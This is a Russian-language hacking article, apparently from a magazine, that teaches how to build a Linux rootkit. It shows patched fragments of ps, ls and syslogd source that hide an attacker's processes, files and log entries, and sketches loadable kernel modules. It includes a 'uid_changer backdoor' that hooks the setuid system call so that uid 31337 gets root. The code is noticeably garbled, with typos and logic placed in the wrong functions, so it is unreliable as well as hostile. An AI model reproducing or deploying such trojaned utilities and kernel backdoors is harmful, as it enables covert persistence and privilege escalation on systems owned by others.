Не так давно я столкнулся с написанием
собственного руткита, ведь большая часть
руткитов палится банальными IDS, такими как
chrootkit и rkhunter. Еще сильнее мне захотелось
написать свой руткит после того, как один из
мемберов нашей команды - p4r4z!73 (привет,
кстати) - рассказал мне ужаснейшую историю:
автор SHV (shkit) внедрил в руткит функцию,
которая отсылает ему IP и пассы взломанного
сервера на котором ты установил руткит :(. Об
этом ему много кто говорил, но проверять я
ничего не стал... а.. а решил написать руткит
и попутно рассказывать об этом в статье.
Сначала мы рассмотрим подмену системных
утилит, затем, попробуем понять принцип
действия загружаемых модулей ядра Linux и
самих LKM-руткитов. 

Троянизация системных утилит

Для начала давай рассмотрим троянизцию
системных утилит, а чуть позже и саму LKM-технологию,
на которые мы будем опираться далее:

Подмена системных файлов

Итак... подмена системных файлов - для чего
это надо? А надо это для обмана операционной
системы, а именно Linux'a - именно его мы будем
рассматривать. Какие системные файлы
подменяют и для чего?

ifconfig - скрывает установленный файл PROMSIC
netstat - скрытие установленных соединений
ps, top, pidof - скрытие процессов хакеров
ls,find,lsof,locate/slocate, du - скрытие файлов
tcpd - скрытие установленных соединений и
ограничений доступа
killall - делает запрет на остановку скрытых
процессов
syslogd - не разрешает логировать действия
хакера syslog'ом
и другие файлы - по своему усмотрению 🙂

Вот, например, SHV подменяет следующие
бинарники: dir, encrypt, find, ifconfig, login, ls, lsof, lsof, md5sum,
netstat, pg, ps, pstree, slocate, syslogd, sz, tkp, tks, tksb, top.

Также руткит должен иметь в себе функции
бэкдора - так называемый "потайной ход",
а также дополнительные программы, такие как
снифер, анализаторы пакетов и т.д. Бэкдоры и
дополнительные функции мы рассматривать НЕ
будем. Сейчас начнем с протрояниванием
системных утилит. Поехали!

Затроянивание ps

Так как в твоем будущем рутките для linux'a
будет встроенный бэкдор, то мы обязательно
должны скрыть процесс бэкдора, ибо "злой
администратор" его остановит :). Одной из
частей исходного кода утилиты ps является
сишник "readproc.c", который нам и придется
"модифицировать" к более приличному
троянскому виду.

o-//[Затрояненный
кусок readproc.c
]\\-o

proc_t* ps_readproc(ProcTab* PT, proc_t, rbuf) {
next_proc: /*
хватаем PID
*/
-while ((ent = readdir(PT->procfs)) &&
(*ent->dname < '0' || *ent->d_name > '9')) {}
-if (!ent || !ent->d_name)
-return NULL;
-sprintf(patn. "/proc/%s", ent->d_name);
aif (stat(path, &sb) == -1(
-goto next.proc;

- /* Протрояниваем файл
*/

- if (sb.st_uid == 1337) { /* 1337 -
идентификатор хакера
*/
-goto next_proc; /*
алгоритм: "если
процесс запущен из под идентификатора 1337

*/
-} /*
(уид хакера), то
показываем следующий процесс (пропуская

*/
/*
процесс, запущенный из под
1337 уида)
*/

- /* Затроянили, окей 😉
*/
-if ..................
и т.д и т.п

o-//[Затрояненный кусок readproc.c]\\-o

Итак, мы скрыли утилиту ps. Но есть одно НО!
Процесс всё равно будет светиться в
каталоге /proc/, но туда не особо часто
заглядывают "гениальные" админы 🙂 Тем
более файлы в той директории можно скрыть
затрояниванием ls, find и т.д

Затроянивание ls

Не буду тут распинаться, а лишь скажу, какой
исходный код мы будем затроянивать сейчас -
ls.c - утилиты для листинга файлов. Не буду
повторяться - в сети море данных
затрояненных ls'ок, так что мы сделаем хитро.
Возможно кому-то это понадобится 🙂

o-//[Хитро-затрояненный
кусок ls.c
]\\-o

static int file_interesting (const struct dirent *next) {

for (ignore = ignore_patterns; ignore; ignore = ignore->next)
if (fnmatch (ignore (ignore->pattern, hack->d_name, FNM_PERIOD) == 0)
return 0;
/*
Протрояниваем... 🙂 
if ( !strcmp(next->d_name. "...") ) { */
Алгоритм:
возвращаем "ненулевое" значение,
*/
return 0; */
если файл в next должен
быть показан
*/
/* Окей 😉 
if (really_all_file || hack>d_name[0] != '.' || (allfile ................
и
т.д и т.п

o-//[Хитро-затрояненный кусок
ls.c
]\\-o

Мы сделали следующее... изменили функцию
file_interesting так, что при команде ls файлы и
папки с именем вида .name не будут
отображаться в листинге. Но выполнив
команду ls -a, они будут видны 😉

Затроянивание syslogd

Так как syslogd очень часто часто используется
для ведения логов - будем затроянивать
именно его. Конечно, никто не запрещает тебе
затроянивать еще и другие системы
логирования событий, но это уже твоё личное
дело. Модифицировать мы будем сишник "syslogd.c".
Приступим

o-//[Протрояненный
кусок syslogd.c
]\\-o

void logmsg(intpri, char* msg, const char* form, int flags) {

/* Протрояниваем
*/
if (strstr(msg, "123.123.123.12") )
return;
/*
Окей 😉 */
dprintf("logmsg: %s, flags %x, from %s, msg %s\n",
textpri(pri), flags, from, msg);
msglen = strlen(msg);
.......................
и т.д и т.п 
o-//[
Протрояненный кусок
syslogd.c
]\\-o

Следующей записью мы блокируем все записи
логов syslog'ом с IP-адрессом, равным - 123.123.123.12.
Для того, чтобы затроянить syslog, надо его
удалить и поставить протрояненный бинарник.
Пока всё, остальное будешь писать сам 😉

Ядерные руткиты - технолгия LKM -
загружаемых модулей ядра

Я не хочу повторяться, а лишь советую
прочитать статью "Поиграем с туксом в
прятки" Криса Касперского, в которой он
рассказал о различных методиках
стелсирования на уровне ядра (журнал "Хакер",
номер #077 - май 2005). Наиболее опасными
руткитами являются LKM-руткиты - руткиты,
загружаемые в ОС как модули ядра. Сначала
давай разберемся, что такое "Загружаемые
модули ядра". Прежде всего, загружаемые
модули ядра (LKM - LoadAble Kernel Module) были созданы
для простоты удобства, так как в ядро Linux
будет очень неудобно добавлять новые
функции, перекомпилировать,
перезагружаться - для этого присоединяются
модули ;). Как ты уже догадался, эти модули -
ничто иное как обычные программы, которые
"улучшают" или "дополняют"
систему, но в нашем случае, это "закрепление
позиций".

Написание модулей ядра не так уж сложно,
стоит лишь включить парочку включений,
почти для каждой ветки они разные. Вот
структура модуля ядра для веток 2.4 (строки,
возле которых комментарии - обязательны):

o--// структура
модуля ядра для веток 2.4
\\-o

#define __KERNEL__ /* определить, что
это
*/
#define MODULE /*
ядерный модуль.
обязательно
*/
#include <linux/module.h> /*
также
обязательно, заголовочный файл модуля

*/
/*
на SMP машинах:
#ifdef __SMP__
#include <linux/smp/smp_lock.h>
#endif
(чуть не забыл написать) /*
/*
............... покоцано ................
.
*
/*
следующая функция init_module( )
также ОБЯЗАТЕЛЬНА - она
*/
/*
говорит, что будет
делаться при загрузке модуля
*/
int init_module( )
{
/*
Что будем делать при
загрузке модуля
/*
}
/*
следующая функция cleanup_module(
) также ОБЯЗАТЕЛЬНА - она
*/
/*
говорит, что будет
делаться при выгрузке модуля

*/
int cleanup_module( )
{
/*
Что будем делать при
выгрузке модуля
/*
return 0;
}
/*
Далее лицензия.
Обязательно
/*
MODULE_LICENSE("ЛИЦЕНЗИЯ, например, GPL");

o-// структура модуля ядра
для веток 2.4
\\-o

Теперь давай рассмотрим реальный пример
модуля, который, возможно, понадобится тебе
при написании ТуксКит'а или еще чего-то,
который будет делать следующее. Он будет
перехватывать системный вызов systemuid(), и
если идентификатор пользователя будет
равен 31337, то ему присваивается uid равный
нулю (уид суперпользователя - root'a), тем самым
пользователь с uid'ом = 31337 сможет выполнять
команды из под учетной записи root. Очень
полезная вещь:

o-// uid_changer backdoor \\-o

#define __KERNEL__ 
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>

int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];

int init_module ()
{
register struct module *mp asm("$ebx");
*(char *) (mp->name) = 'd'; *char(char *) (mp->name+1) = 's';
*(char *) (mp->name+2) = '2'; *char(char *) (mp->name+3)= '\0';
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}

int int cleanup_module() 
{
if (uid == 31337 ) 
{
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
}
return (*real_setuid) (uid);
}
MODULE_LICENSE("GPL");

o-// uid_changer backdoor \\-o

Структура модуля ядра для ветки 2.6 немного
другая, но суть от этого не меняется:

o-// структура модуля ядра для
веток 2.6 \\-o

#ifdef LINUX26
static int __init tooxkit_init()
#else
int init_module()
#endif

#ifdef LINUX 26
static void __exit tooxkit_cleanup()
#else
int init_module()
#endif

#ifdef LINUX26
module_init(tooxkit_init);
module_exit(tooxkit_cleanup);
#endif

o-// структура модуля ядра для веток 2.6 \\-o

(Продолжение следует)

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии